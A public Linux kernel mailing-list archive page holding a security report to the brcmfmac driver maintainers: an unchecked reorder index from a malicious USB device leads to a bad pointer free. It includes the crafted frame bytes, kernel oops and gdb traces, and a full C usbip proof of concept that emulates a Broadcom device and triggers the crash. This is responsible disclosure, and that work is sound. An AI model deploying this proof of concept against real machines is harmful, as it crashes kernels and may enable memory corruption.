All of lore.kernel.org
 help / color / mirror / Atom feed
From: rtm@csail.mit.edu
To: Arend van Spriel <arend.vanspriel@broadcom.com>
Cc: linux-wireless@vger.kernel.org, brcm80211@lists.linux.dev,
	brcm80211-dev-list.pdl@broadcom.com
Subject: potential dereference of garbage pointer in brcmfmac USB driver
Date: Fri, 09 May 2025 12:41:47 -0400	[thread overview]
Message-ID: <74879.1746808907@localhost> (raw)

[-- Attachment #1: Type: text/plain, Size: 4542 bytes --]

A malicous USB device pretending to be a broadcom/brcm80211/brcmfmac
wifi interface can generate a firmware signalling frame that causes
brcmf_fws_hdrpull() to make skb->cb->reorder point into the frame
data:

        signal_data = skb->data;
        ...;
                data = signal_data + 2;
                ...;
                case BRCMF_FWS_TYPE_HOST_REORDER_RXPKTS:
                        rd = (struct brcmf_skb_reorder_data *)skb->cb;
                        rd->reorder = data;

Later on, brcmf_fws_rxreorder() pulls cur_idx out of the frame and
uses it as an index without checking that it's in bounds (< rfi->maxIdx):

        reorder_data = ((struct brcmf_skb_reorder_data *)pkt->cb)->reorder;
        ...;
                cur_idx = reorder_data[BRCMF_RXREORDER_CURIDX_OFFSET];
                ...;
                                brcmu_pkt_buf_free_skb(rfi->pktslots[cur_idx]);

I've attached a usbip-based demo that generates a frame with this content:

     0x20    0x00    0x00    0x0d    0x00    0x00    0x0e   0x0e
     0x00    0x00    0x00    0x00    0x04    0x00    0x80   0x00

The 0x80 causes cur_idx to be 128.

# uname -a
Linux ubuntu66 6.15.0-rc5-00136-g9c69f8884904 #19 SMP PREEMPT_DYNAMIC Fri May  9 11:51:44 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
# cc usbbc3b.c
# ./a.out
...
 Oops: general protection fault, probably for non-canonical address 0xcccccc00746e6572: 0000 [#1] SMP PTI
 CPU: 4 UID: 0 PID: 4818 Comm: vhci_rx Tainted: G        W           6.15.0-rc5-00136-g9c69f8884904 #19 PREEMPT(voluntary)
 Tainted: [W]=WARN
 Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
 RIP: 0010:brcmu_pkt_buf_free_skb+0x9/0x30
 Code: 00 00 00 48 89 d8 5b 5d c3 cc cc cc cc 0f 1f 40 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 48 85 ff 74 10 <48> 83 3f 00 75 0f be 02 00 00 00 e9 57 85 1f 00 c3 cc cc cc cc 90
 RSP: 0018:ffffb3378075bd38 EFLAGS: 00010286
 RAX: 0000000000000080 RBX: ffff9156068049c0 RCX: ffffb3378075bd00
 RDX: ffffffffa8411808 RSI: ffffffffa7f44f90 RDI: cccccc00746e6572
 RBP: ffffb3378075bdb0 R08: ffffffffa779c05b R09: ffff915602f7c8e0
 R10: 0000000000000080 R11: 0000000000000004 R12: ffffb3378075bd60
 R13: ffff9156025a9090 R14: 0000000000000080 R15: ffff915607cab840
 FS:  0000000000000000(0000) GS:ffff9159869d6000(0000) knlGS:0000000000000000
 CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 CR2: 00007fbd5f8e8210 CR3: 0000000102e42002 CR4: 00000000003706f0
 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
 Call Trace:
  <TASK>
  brcmf_fws_rxreorder+0x562/0x610
  ? brcmf_rx_frame+0x8c/0x130
  ? __pfx_brcmf_proto_bcdc_rxreorder+0x10/0x10
  brcmf_rx_frame+0x8c/0x130
  brcmf_usb_rx_complete+0xee/0x130
  __usb_hcd_giveback_urb+0x8f/0x100
  vhci_rx_loop+0x3fb/0x480
  ? __pfx_vhci_rx_loop+0x10/0x10
  kthread+0xf6/0x1f0
  ? __pfx_kthread+0x10/0x10
  ret_from_fork+0x2f/0x50
  ? __pfx_kthread+0x10/0x10
  ret_from_fork_asm+0x1a/0x30
  </TASK>
 Modules linked in:
 ---[ end trace 0000000000000000 ]---

A gdb back-trace (on a different machine):

#0  brcmu_pkt_buf_free_skb (skb=0xa56b6b6b6b6b6b6b)
    at drivers/net/wireless/broadcom/brcm80211/brcmutil/utils.c:34
#1  0xffffffff809ea198 in brcmf_fws_rxreorder (ifp=<optimized out>, 
    pkt=0xffffffd602f58940)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/fwsignal.c:1751
#2  0xffffffff809e809a in brcmf_proto_bcdc_rxreorder (ifp=<optimized out>, 
    skb=<optimized out>)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/bcdc.c:403
#3  0xffffffff809e309e in brcmf_proto_rxreorder (skb=0xffffffd602f58940, 
    ifp=<optimized out>)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/proto.h:114
#4  brcmf_rx_frame (dev=<optimized out>, skb=skb@entry=0xffffffd602f58940, 
    handle_event=handle_event@entry=true, inirq=inirq@entry=true)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c:510
#5  0xffffffff809f5b2e in brcmf_usb_rx_complete (urb=0xffffffd6038041c0)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c:528
#6  0xffffffff80b3f292 in __usb_hcd_giveback_urb (
    urb=urb@entry=0xffffffd6038041c0) at drivers/usb/core/hcd.c:1650
#7  0xffffffff80b3f3d0 in usb_hcd_giveback_urb (
    hcd=hcd@entry=0xffffffd603dbc000, urb=urb@entry=0xffffffd6038041c0, 
    status=<optimized out>) at drivers/usb/core/hcd.c:1734
#8  0xffffffff80be9fa2 in vhci_recv_ret_submit (pdu=0xffffffc6002f3dd8, 
    vdev=0xffffffd603dbc2d0) at drivers/usb/usbip/vhci_rx.c:107

Robert Morris
rtm@mit.edu


[-- Attachment #2: usbbc3b.c --]
[-- Type: application/octet-stream, Size: 15941 bytes --]

#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <assert.h>

unsigned int vendor = 0x0a5c; // Broadcom
unsigned int product = 0x0bdc;


struct op_common {
  unsigned short version;
  unsigned short code;
  unsigned int status;
};

struct usbip_usb_device {
	char path[256];
	char busid[32];

	uint32_t busnum;
	uint32_t devnum;
	uint32_t speed;

	uint16_t idVendor;
	uint16_t idProduct;
	uint16_t bcdDevice;

	uint8_t bDeviceClass;
	uint8_t bDeviceSubClass;
	uint8_t bDeviceProtocol;
	uint8_t bConfigurationValue;
	uint8_t bNumConfigurations;
	uint8_t bNumInterfaces;
} __attribute__((packed));

struct usbip_header_basic {
  unsigned int command;
  unsigned int seqnum;
  unsigned int devid;
  unsigned int direction;
  unsigned int ep;
};

struct usbip_header_cmd_submit {
  unsigned int transfer_flags;
  int transfer_buffer_length;
  int start_frame;
  int number_of_packets;
  int interval;
  unsigned char setup[8];
};

struct usbip_header_ret_submit {
  int status;
  int actual_length;
  int start_frame;
  int number_of_packets;
  int error_count;
};

int
readable(int fd)
{
  fd_set readfds;
  FD_ZERO(&readfds);
  FD_SET(fd, &readfds);
  struct timeval tv;
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv);
  return FD_ISSET(fd, &readfds);
}

int
readn(int fd, void *xbuf, int n)
{
  char *buf = xbuf;
  int got = 0;
  while(got < n){
    if(readable(fd) == 0){
      printf("usbip0: timeout\n");
      return -1;
    }
    int cc = read(fd, buf+got, n-got);
    if(cc <= 0){
      perror("usbip0: read");
      return -1;
    }
    got += cc;
  }
  return got;
}

void
mkif(char **xp, int num, int alt, int eps, int cl, int subcl, int proto, int iff)
{
  char *p = *xp;

  // usb_interface_descriptor
  *p++ = 9; // bLength
  *p++ = 4; // bDescriptorType USB_DT_INTERFACE
  *p++ = num; // bInterfaceNumber
  *p++ = alt; // bAlternateSetting
  *p++ = eps; // bNumEndpoints
  *p++ = cl; // bInterfaceClass
  *p++ = subcl; // bInterfaceSubClass
  *p++ = proto; // bInterfaceProtocol
  *p++ = iff; // iInterface

  *xp = p;
}

void
mkad(char **xp, int type, int subtype)
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype
  
  if(type == 36 && subtype == 1){
    // AS_GENERAL
    *p++ = 1; // bTerminalLink
    *p++ = 1; // bDelay
    *p++ = 1; // wFormatTag PCM
    p++;
  } else if(type == 36 && subtype == 2){
    // FORMAT_TYPE
    *p++ = 1; // bFormatType
    *p++ = 2; // bNrChannels
    *p++ = 3; // bSubframeSize
    *p++ = 24; // bBitResolution
    *p++ = 2; // bSamFreqType 
    *p++ = 2; // bSamFreqType 
    p += 5;
  } else {
    *p++ = 0; // bcdADC
    *p++ = 1;
    *(short*)p = 0x5f; // wTotalLength
    p += 2;
    *p++ = 2; // bInCollection
    *p++ = 1; // baInterfaceNr(0)
    *p++ = 2; // baInterfaceNr(1)
  }

  *(*xp) = p - (*xp); // bLength

  *xp = p;
}

void
mkadx(char **xp, int type, int subtype, int len, int a[])
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype

  for(int i = 0; i < len - 3; i++)
    *p++ = a[i];

  *(*xp) = p - (*xp); // bLength
  *xp = p;
}

void
mkep(char **xp, int epa, int attr, int maxp)
{
  char *p = *xp;

  // usb_endpoint_descriptor
  *p++ = 9;
  *p++ = 5; // bDescriptorType USB_DT_ENDPOINT
  *p++ = epa; // bEndpointAddress
  *p++ = attr; // bmAttributes 0=ctl 1=isoc 2=bulk 3=int
  *(short*)p = maxp; // wMaxPacketSize
  p += 2;
  *p++ = 7; // bInterval
  p += 2; // ???

  *xp = p;
}

int s1;

//
// reply to a previous request
//
void
reply(struct usbip_header_basic *ibh, int translen, char *obuf)
{
  struct usbip_header_basic obh;
  memset(&obh, 0, sizeof(obh));
  if(ntohl(ibh->command) == 2){
    // USBIP_CMD_UNLINK
    obh.command = htonl(4); // USBIP_RET_UNLINK
  } else {
    // USBIP_CMD_SUBMIT
    obh.command = htonl(3); // USBIP_RET_SUBMIT
  }
  obh.seqnum = ibh->seqnum;
  obh.devid = ibh->devid;
  obh.direction = htonl(!ntohl(ibh->direction));
  obh.ep = ibh->ep;
  write(s1, &obh, sizeof(obh));
  
  char rsbuf[sizeof(struct usbip_header_cmd_submit)];
  memset(rsbuf, 0, sizeof(rsbuf));
  struct usbip_header_ret_submit *rs = (void*)rsbuf;
  rs->actual_length = htonl(translen);
  write(s1, rs, sizeof(rsbuf));
  
  if(obuf){
    write(s1, obuf, translen);
  }
}

double
now()
{
  struct timeval tv;
  gettimeofday(&tv, 0);
  return tv.tv_sec + tv.tv_usec / 1000000.0;
}

int
main(int argc, char *argv[])
{
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int port = 3240;
  int s, yes = 1;
  struct sockaddr_in sin;

  system("echo 0 > /sys/module/usbip_core/parameters/usbip_debug_flag");
  //system("echo 4294967295 > /sys/module/usbip_core/parameters/usbip_debug_flag");

  system("killall usbip");
  sleep(1);

  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);

  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s < 0){
    perror("socket");
    exit(1);
  }

  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));

  if(bind(s, (struct sockaddr *) &sin, sizeof(sin)) < 0){
    perror("usbxxx: bind");
    exit(1);
  }

  if(listen(s, 3000) < 0){
    perror("usbxxx: listen");
    exit(1);
  }

  system("usbip/src/usbip attach -r 127.0.0.1 -b 1-1 &");
  sleep(2);
  sync();
  sleep(1);

  unsigned sinlen = sizeof(sin);
  s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
  if(s1 < 0){
    perror("accept");
    exit(1);
  }
  close(s);
  
  struct op_common op;
  
  // OP_REQ_IMPORT
  readn(s1, &op, sizeof(op));
  //printf("version 0x%x code 0x%x status 0x%x\n", 
  //       op.version, op.code, op.status);
  
  char busid[32];
  readn(s1, busid, sizeof(busid));
  
  op.code = htons(0x03); // OP_REP_IMPORT
  op.status = htonl(0); // ST_OK
  
  write(s1, &op, sizeof(op));
  
  struct usbip_usb_device uud;
  memset(&uud, 0, sizeof(uud));
  strcpy(uud.busid, busid);
  //uud.speed = htonl(2); // USB_SPEED_FULL
  uud.speed = htonl(3); // USB_SPEED_HIGH
  //uud.speed = htonl(5); // USB_SPEED_SUPER
  
  write(s1, &uud, sizeof(uud));
  
  // now talking to the kernel

  int cmdno = 0;

  if(fork() == 0){
    close(s1);
    while(1){
      sleep(1);
      if(system("ifconfig -a | grep wlan2") == 0){
        printf("IFCONFIG\n");
        system("ifconfig wlan2 1.2.3.4 up");
        printf("IFCONFIG DONE\n");
        system("ifconfig wlan2");
        exit(0);
      }
      if(system("ifconfig -a | grep wlx000200000000") == 0){
        printf("IFCONFIG\n");
        system("ifconfig wlx000200000000 1.2.3.4 up");
        printf("IFCONFIG DONE\n");
        system("ifconfig wlx000200000000");
        exit(0);
      }
    }
    exit(0);
  }
  
  int done = 0;
  int do_tx = 0;

  unsigned char cmd21[8192];
  memset(cmd21, 0, sizeof(cmd21));
  int n21 = 0;

  // remember posted reads on each endpoint.
  struct EPQ {
#define NPENDING 512
    struct usbip_header_basic q[NPENDING];
    int w;
    int r;
    double last;
  } epq[16];
  memset(epq, 0, sizeof(epq));

  time_t last_real;
  time(&last_real);

  while(done == 0){
    struct usbip_header_basic ibh;
    if(readn(s1, &ibh, sizeof(ibh)) < 0)
      break;

    if(ntohl(ibh.command) == 1){
      // USBIP_CMD_SUBMIT
      struct usbip_header_cmd_submit cs;
      memset(&cs, 0, sizeof(cs));
      if(readn(s1, &cs, sizeof(cs)) < 0)
        break;
      
      int translen = ntohl(cs.transfer_buffer_length);
      unsigned int ep = ntohl(ibh.ep);

      if(ep != 1 && ep != 2){
        time(&last_real);
      }

      time_t now;
      time(&now);
      if(now - last_real > 10){
        printf("usbmtaX: too long since last_real\n");
        goto out;
      }

      if(ibh.direction == 0){
        //
        // driver wants to write to usb device
        //
        
        char ibuf[32*1024];
        assert(translen <= sizeof(ibuf));
        if(readn(s1, ibuf, translen) < 0)
          break;

        if(cs.setup[0] == 0x21){
          // a command or something; a later 0xa1 read will
          // come along to get our response.
          // struct brcmf_proto_bcdc_dcmd
          memcpy(cmd21, ibuf, translen);
          n21 += 1;
        }

        reply(&ibh, translen, NULL);
      } else {
        //
        // driver wants to read from usb device
        //
        
        if(ep == 0){
          //
          // control endpoint, answer immediately
          //
          
          char obuf[2048];
          if(translen > sizeof(obuf)){
            printf("huge translen on ep 0\n");
            break;
          }
          memset(obuf, 0, sizeof(obuf));
          char *p = obuf;
          if(cs.setup[1] == 0x06){
            // USB_REQ_GET_DESCRIPTOR
            if(cs.setup[0] == 0x80 && cs.setup[3] == 1){
              // USB_DT_DEVICE
              // struct usb_device_descriptor
              obuf[0] = 18; // bLength
              obuf[1] = 1; // bDescriptorType = USB_DT_DEVICE
              obuf[2] = 0x20; // bcdUSB
              obuf[3] = 0x03; // bcdUSB
              obuf[4] = 0xff; // bDeviceClass
              obuf[5] = 0; // bDeviceSubClass
              obuf[6] = 0; // bDeviceProtocol
              obuf[7] = 64; // bMaxPacketSize0
              *(short*)(obuf+8) = vendor; // idVendor
              *(short*)(obuf+10) = product; // idProduct 
              obuf[12] = 0; // bcdDevice
              obuf[13] = 1; // bcdDevice
              obuf[14] = 2; // iManufacturer
              obuf[15] = 3; // iProduct
              obuf[16] = 1; // iSerial
              obuf[17] = 1; // bNumConfigurations
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 2){
              // USB_DT_CONFIG
              // struct usb_config_descriptor
              *p++ = 9; // bLength
              *p++ = 2; // USB_DT_CONFIG
              short *lenp = (short*) p;
              *(short*)p = 9 + 4*9 + 15*10 + 2*7; // wTotalLength
              p += 2;
              *p++ = 1; // bNumInterfaces
              *p++ = 1; // bConfigurationValue
              *p++ = 0; // iConfiguration
              *p++ = 0x80; // bmAttributes
              *p++ = 1; // bMaxPower
              
              // mkif(&p, num, alt, eps, cl, subcl, proto, iff)
              
              mkif(&p, 0, 0, 2, 0xff, 2, 0xff, 0);
              mkep(&p, 0x80, 0x00, 0x0200);
              mkep(&p, 0x00, 0x00, 0x0200);
              mkep(&p, 0x81, 0x02, 0x0200);
              mkep(&p, 0x02, 0x02, 0x0200);
              
              assert(p - obuf <= sizeof(obuf));
              *lenp = p - obuf;
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 0x0f){
              // USB_DT_BOS
              // struct usb_bos_descriptor
              *p++ = 5; // bLength
              *p++ = 15;
              *(short*)p = 0x002a; // wTotalLength
              p += 2;
              *p++ = 3; // bNumDeviceCaps
              // usb_ext_cap_descriptor
              *p++ = 7; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 2; // bDevCapabilityType
              *(int*)p = 0x0000f41e; // bmAttributes
              p += 4;
              // usb_ss_cap_descriptor
              *p++ = 10; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 3; // bDevCapabilityType
              *p++ = 0; // bmAttributes
              *(short*)p = 0xe; // wSpeedsSupported
              p += 2;
              *p++ = 1; // bFunctionalitySupport
              *p++ = 10; // bU1devExitLat
              *(short*)p = 2047; // bU2DevExitLat
              p += 2;
              // usb_ssp_cap_descriptor
              *p++ = 20; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 10; // bDevCapabilityType
              *p++ = 0; // bReserved
              *(int*)p = 0; // bmAttributes
              p += 4;
              *(short*)p = 1; // bFunctionalitySupport
              p += 2;
              p += 2; // wReserved
              *(int*)p = 0x000a4030;
              p += 4;
              *(int*)p = 0x000a40b0;
              p += 4;
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 3){
              // USB_DT_STRING
              *p++ = 6; // length
              *p++ = 3; // descriptor type
              *p++ = 'a';
              *p++ = 'b';
              *p++ = 'c';
              *p++ = 'd';
            }
          }
          
          unsigned char *ibuf = cs.setup;

          if(ibuf[0] == 0xc1){
            // register read

            if(ibuf[1] == 5){
              // DL_GETVER
              unsigned int *ip = (void *) obuf;
              ip[0] = 0xA123; // chip id -- firmware already loaded
              ip[1] = 0; // chip rev
            }

          }

          if(ibuf[0] == 0xa1){
            // driver is asking for reply to previous 0x21
            // struct brcmf_proto_bcdc_dcmd
            // first 4 bytes is command
            //   1 GET_VERSION
            //   2 UP
            //  10 SET_PROMISC
            //  98 GET_REVINFO
            // 140 GET_BANDLIST
            // 185 SET_SCAN_CHANNEL_TIME
            // 187 SET_SCAN_UNASSOC_TIME
            // 262 GET_VAR
            // 263 SET_VAR
            int cmd = *(int*)(cmd21+0);
            memcpy(obuf, cmd21, 16);
            if(n21 == 1){
              // mac address
              obuf[17] = 2;
            }
            if(n21 == 3){
              // version number
              strcpy(obuf+16, "00 00");
            }
            if(cmd == 140){
              // band list
              *(int*)(obuf+16+0) = 1; // n_bands
              *(int*)(obuf+16+4) = 2; // 2.4 ghz
            }
            if(n21 == 35){
              // chanspec
              *(int*)(obuf+16+0) = 1; // count
            }
            if(cmd == 10){
              do_tx = 1;
            }
          }

          reply(&ibh, translen, obuf);
        }

        if(ep > 0){
          //
          // ep wants packets.
          // save the read requests until we want to reply
          //
          if(epq[ep].w >= NPENDING){
            printf("too many pending for ep %d!\n", ep);
            goto out;
          }
          epq[ep].q[epq[ep].w++] = ibh;
        }
        
      }
    } else if(ntohl(ibh.command) == 2){
      // USBIP_CMD_UNLINK
      // struct usbip_header_cmd_unlink uh;
      char buf[sizeof(struct usbip_header_cmd_submit)];
      memset(buf, 0, sizeof(buf));
      if(readn(s1, buf, sizeof(buf)) < 0)
        break;
      unsigned int uh = *(int*)buf;;
      printf("unlink seq %d\n", ntohl(uh));

      //goto out;

      reply(&ibh, 0, NULL);
    }

    for(int i = 1; i < 12; i++){
      if(do_tx && epq[i].r < epq[i].w){
        static int nth = 0;
        char obuf[64];
        memset(obuf, 0, sizeof(obuf));
        int nout = sizeof(obuf);
        
        printf("sending packet #%d on ep %d\n", nth, i);

        // struct brcmf_proto_bcdc_header
        obuf[0] = 0x20; // flags
        obuf[3] = 0x0d; // data_offset

        // firmware signal data starts at obuf[4]
        obuf[6] = 14; // type BRCMF_FWS_TYPE_HOST_REORDER_RXPKTS
        obuf[7] = 14;

        // reorder_data starts at obuf[10]
        obuf[12] = 4; // flags BRCMF_RXREORDER_CURIDX_VALID
        obuf[14] = 128; // cur_idx
        
        if(nth == 2){
          done = 1;
        }
        
        reply(&epq[i].q[epq[i].r], nout, obuf);
        
        epq[i].last = now();
        nth += 1;
        epq[i].r += 1;
      }
    }

    cmdno += 1;

    if(cmdno > 2500){
      printf("too many cmds\n");
      done = 1;
    }
  }

  sleep(2);
  close(s1);
  sleep(2);
    
 out: 1;
}

             reply	other threads:[~2025-05-09 17:10 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2025-05-09 16:41 rtm [this message]
2025-05-12  8:46 ` potential dereference of garbage pointer in brcmfmac USB driver Arend van Spriel

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=74879.1746808907@localhost \
    --to=rtm@csail.mit.edu \
    --cc=arend.vanspriel@broadcom.com \
    --cc=brcm80211-dev-list.pdl@broadcom.com \
    --cc=brcm80211@lists.linux.dev \
    --cc=linux-wireless@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.